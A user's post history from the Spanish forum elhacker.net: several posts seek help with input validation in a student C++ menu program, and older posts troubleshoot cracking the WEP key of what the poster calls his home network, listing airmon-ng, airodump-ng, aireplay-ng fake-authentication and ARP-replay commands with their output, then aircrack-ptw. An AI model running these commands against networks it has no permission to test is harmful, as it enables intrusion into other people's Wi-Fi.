elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: [1] 2
1  Programación / Programación C/C++ / Re: Como evitar que se introduzcan valores no válidos en: 21 Mayo 2013, 12:04 pm
Gracias, la verdad es que funciona, se lo he enviado al profesor a ver si acepta funciones de C en estas prácticas de C++.

Gracias a todos.
2  Programación / Programación C/C++ / Re: Como evitar que se introduzcan valores no válidos en: 17 Mayo 2013, 15:39 pm
Efectivamente, es en la consola,

os comento así por lo alto, se trata de un sistema de ayuda por consola que muestra varios bucles.

En el enunciado especifica que la variable privada de la clase sea de tipo entero.

He probado a pasar un char en vez de un int, pero sigue tragándose los caracteres no numéricos.

Voy a poner el código que llevo hasta ahora, porque ya tengo un cacao que no veas, a ver si vosotros veis el fallo.

helpclass.h

Código:
#ifndef __HELPCLASS_H__
#define __HELPCLASS_H__

class Help {
private:
int _option;
public:
Help();
int getoption();
void setoption(int option);
void showmenu();
bool helpon(char option);
bool isvalid(char option);
};

#endif

helpclass.cpp

Código:
#include "helpclass.h"
#include <iostream>
#include <cstdlib> //Para system()
#include <cstdio>

using namespace std;

Help::Help() {
setoption(1);
}

int Help::getoption() {
return _option;
}

void Help::setoption(int option) {
_option = option;
}

void Help::showmenu() {
cout << endl << "Sistema de ayuda en modo texto en la consola" << endl << endl;
cout << "0.- Se mostrara la ultima ayuda" << endl;
cout << "1.- if" << endl;
cout << "2.- switch" << endl;
cout << "3.- for" << endl;
cout << "4.- while" << endl;
cout << "5.- do-while" << endl;
cout << "6.- Salir del programa" << endl << endl;
}

bool Help::helpon(char option) {
setoption(option);
switch(option) {
case '0': option = getoption();
break;
case '1': cout << endl << "Bucle if" << endl << endl;
cout << "    if(condition)" << endl;
cout << "    {" << endl;
cout << "        statements;" << endl;
cout << "    }" << endl << endl << endl;
break;
case '2': cout << endl << "Bucle switch" << endl << endl;
cout << "    switch(expression)" << endl;
cout << "    {" << endl;
cout << "        case constant-expression:" << endl;
cout << "            statements;" << endl;
cout << "            break; //optional" << endl;
cout << "        case constant-expression:" << endl;
cout << "            statements;" << endl;
cout << "            break; //optional" << endl << endl;
cout << "        // you can have any number of case statements." << endl;
    cout << "        default : //Optional" << endl;
cout << "            statements;" << endl;
cout << "    }" << endl << endl;
break;
case '3': cout << endl << "Bucle for" << endl << endl;
cout << "    for(init; condition; increment)" << endl;
cout << "    {" << endl;
cout << "        statements;" << endl;
cout << "    }" << endl << endl;
break;
case '4': cout << endl << "Bucle while" << endl << endl;
cout << "    while(condition)" << endl;
cout << "    {" << endl;
cout << "        statements;" << endl;
cout << "    }" << endl << endl;
break;
case '5': cout << endl << "Bucle do-while" << endl << endl;
cout << "    do" << endl;
cout << "    {" << endl;
cout << "        statements;" << endl;
cout << "    } while(contidion);" << endl << endl;
break;
default: return false;
}
return true;
}
/*
bool Help::isvalid(int option) {
if(option < 0 || option > 6) {
return false;
}
//No haría falta el else, porque si se cumple bucle if, sale de la funcion
//devolviendo false, si no se cumple, no entra y al final devuelve true;
return true;
}*/
bool Help::isvalid(char option) {
if(option >= '0' || option <= '6') {
cout << "TRUE" << endl;
getchar();
getchar();
return true;
}
//No haría falta el else, porque si se cumple bucle if, sale de la funcion
//devolviendo false, si no se cumple, no entra y al final devuelve true;
else {
cout << "FALSE" << endl;
getchar();
getchar();
return false;
}
}

y el helpmain.cpp

Código:
#include "helpclass.h"
#include <iostream>
#include <cstdlib> //Para system()
#include <cstdio> //Para getchar();

using namespace std;

int main() {
Help h;
char option;
bool continuar = true;

do {
system("clear");
option = h.getoption();
cout << option << endl; //borrar
h.showmenu();
cout << "Introduce opcion: ";
cin >> option;

if(h.isvalid(option)) {
system("clear");
continuar = h.helpon(option);
cout << "Pulsa ENTER para continuar ...";
getchar();
getchar();
}
else {
cout << "Por favor, introduzca valor valido" << endl;
}
} while(continuar);


return 0;
}

Gracias y un saludo.
3  Programación / Programación C/C++ / Re: Como evitar que se introduzcan valores no válidos en: 17 Mayo 2013, 15:02 pm
Perdón por no especificarlo, pero estoy programando en C++ y cou y cin no entienden de formatos, se lo traga todo, no le importa que sea int, char, ...

Voy a probar lo que dices  a ver si cambiando el tipo del parámetro de entrada de entero a char se soluciona.

Ya os comento.

Y gracias  a todos
4  Programación / Programación C/C++ / Re: Como evitar que se introduzcan valores no válidos en: 17 Mayo 2013, 15:00 pm
Perdón por no especificarlo, pero estoy programando en C++ y cout no entiende de formatos, se lo traga todo, no le importa que sea int, char, ...

Voy a probar a ver si cambiando el tipo del parámetro de entrada de entero a char se soluciona.

Ya os comento.

Y gracias  a todos.
5  Programación / Programación C/C++ / Re: Como evitar que se introduzcan valores no válidos en: 17 Mayo 2013, 13:39 pm
Hola leosansan,

no veo la diferencia, lo que has hecho ha sido invertir las condiciones y los returns.

Sigue aceptando caracteres no numéricos como válidas.
6  Programación / Programación C/C++ / Como evitar que se introduzcan valores no válidos en: 17 Mayo 2013, 12:47 pm
Hola, tengo que hacer un método de una clase que compruebe si un valor introducido es válido o no.
Ese valor proviene de un menú que tiene las opciones desde 0 hasta 6 incluidas.

Con el código que pongo a continuación controlo los valores numéricos, pero no se cómo evitar que un usuario introduzca una letra por ejemplo.

Código:
bool Help::isvalid(int option) {
if(option < '0' || option > '6') {
return false;
}
return true;
}

Espero vuesta ayuda, gracias.
7  Seguridad Informática / Wireless en Linux / Re: Inyectar con Intel Pro Wireless 3945ABG en Ubuntu 9.10 en: 1 Junio 2010, 00:06 am
Y entonces cuál es la solución? Buscarse el Wifiway 0.6 con el que me iba relativamente bien y pude descifrar la wep de mi casa?

O hay otra distribución que solucione dicho problema?

Tú que utilizas?

Gracias spectralparanoid!!
8  Seguridad Informática / Wireless en Linux / Re: Inyectar con Intel Pro Wireless 3945ABG en Ubuntu 9.10 en: 25 Noviembre 2009, 14:50 pm
Ok, voy a probar lo que me decís del rate y lo de -10 en aireplay-ng y también voy a probar a hacerlo más cerca, y ya os comento.

Gracias a todos.
9  Seguridad Informática / Wireless en Linux / Re: Inyectar con Intel Pro Wireless 3945ABG en Ubuntu 9.10 en: 25 Noviembre 2009, 00:49 am
En principio ves algo raro en el proceso que sigo?

El AP está a unos 20 metros rectos, el problema es que vivo en una casa y el AP está en el salón, que está en la planta de abajo, y el ordenador está en mi cuarto que está en la planta de arriba, pero para conectarme a internet no tengo problemas, en Ubuntu tengo como poco 2 de 4 rayas en el indicador de señal.

Otra cosa, para qué sirve lo del pulso de la tarjeta y cómo se hace.

Gracias thedoctor77.
10  Seguridad Informática / Wireless en Linux / Re: Inyectar con Intel Pro Wireless 3945ABG en Ubuntu 9.10 en: 24 Noviembre 2009, 11:17 am
Bueno, pues voy a poner el proceso completo que sigo, para que lo podais ver y me digais que es lo que estoy haciendo mal.

Decir que a la red de mi casa sólo me conecto yo desde mi portatil. Y a veces mi hermano con su portatil cuando viene de visita.

Tengo que decir que la Distribución es Ubuntu 9.10 y que la tarjeta es una Intel Pro Wireless 3945ABG con los Drivers son los iwl3945 con Interfaz wlan0.

Voy a llamar XX:XX:XX:XX:XX:XX a la MAC del AP de mi casa, y a la MAC de tarjeta de red wifi la llamaremos YY:YY:YY:YY:YY:YY.

#ifconfig wlan0 up

#airmon-ng start wlan0 ----> Esto me crea la interfaz mon0 en modo monitor

#airodump-ng mon0

Código:
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID           
                                                                                            
 XX:XX:XX:XX:XX:XX  -83       69        0    0   9  54 . WEP  WEP         WLAN_3D

Salen más, pero esta es la de mi casa y la que me interesa.
En este caso, lo primero que me llama la atención es que el campo PWR sale negativo, pero por lo visto no pasa nada porque dicen que es un fallo del airmon-ng y que está mdido en dBm, y que las redes wifi están entre -70 y -90 normalmente y que a menor valor absoluto, mejor, pero no me he quedado muy convencido con la explicación, la verdad, pero bueno.

4º #airodump-ng -c 9 -b XX:XX:XX:XX:XX:XX -w micasa mon0

No muestro el resultado porque es el mismo que en el paso 3º
En este paso lo que me resulta extraño es que si le especifico el canal y el bssid, me siguen saliendo todas las redes que detecto y de todos los canales y las asociaciones de otras estaciones a esos APs. No sé si es normal.

5º Ataque 1: #aireplay-ng -1 10 -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY -e WLAN_3D mon0

Y me sale el siguiente resultado, las primeras me autentica y me asocia perfectamente, pero cuando lleva varios intentos, a veces me autentica y otras no, pero rara vez me asocia.

Código:
23:53:23  Sending Authentication Request (Open System) [ACK]
23:53:23  Authentication successful
23:53:23  Sending Association Request [ACK]
23:53:23  Association successful :-) (AID: 1)

23:53:33  Sending Authentication Request (Open System) [ACK]
23:53:33  Authentication successful
23:53:33  Sending Association Request [ACK]
23:53:33  Association successful :-) (AID: 1)

23:53:43  Sending Authentication Request (Open System) [ACK]
23:53:43  Authentication successful
23:53:43  Sending Association Request

23:53:48  Sending Authentication Request (Open System)

23:53:50  Sending Authentication Request (Open System)

23:53:52  Sending Authentication Request (Open System)

23:53:54  Sending Authentication Request (Open System)

23:53:56  Sending Authentication Request (Open System)

23:53:58  Sending Authentication Request (Open System)

23:54:00  Sending Authentication Request (Open System)

23:54:02  Sending Authentication Request (Open System)

23:54:04  Sending Authentication Request (Open System)^C

6º Ataque 3: #aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY mon0

Y después de más de media hora, mirad la cantidad de paquetes enviados y los ARPs no suben. En otras ocasiones he llegado a estar hasta hora y media sin resultados.

Código:
Read 39628 packets (got 1 ARP requests and 32 ACKs), sent 40131 packets...(499 p
Read 39685 packets (got 1 ARP requests and 32 ACKs), sent 40183 packets...(500 p
Read 39735 packets (got 1 ARP requests and 32 ACKs), sent 40233 packets...(500 p
Read 39785 packets (got 1 ARP requests and 32 ACKs), sent 40283 packets...(500 p
Read 39822 packets (got 1 ARP requests and 32 ACKs), sent 40332 packets...(499 p
Read 548912 packets (got 2 ARP requests and 211 ACKs), sent 595677 packets...(499 pps)

Y 6º #aircrack-ptw micasa-01.cap

Pero por supuesto es en valde, porque no saca ninguna clave.

Espero que con esta información os sirva, sino, decidme que más datos necesitais.

Gracias de antemano por vuestra ayuda
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines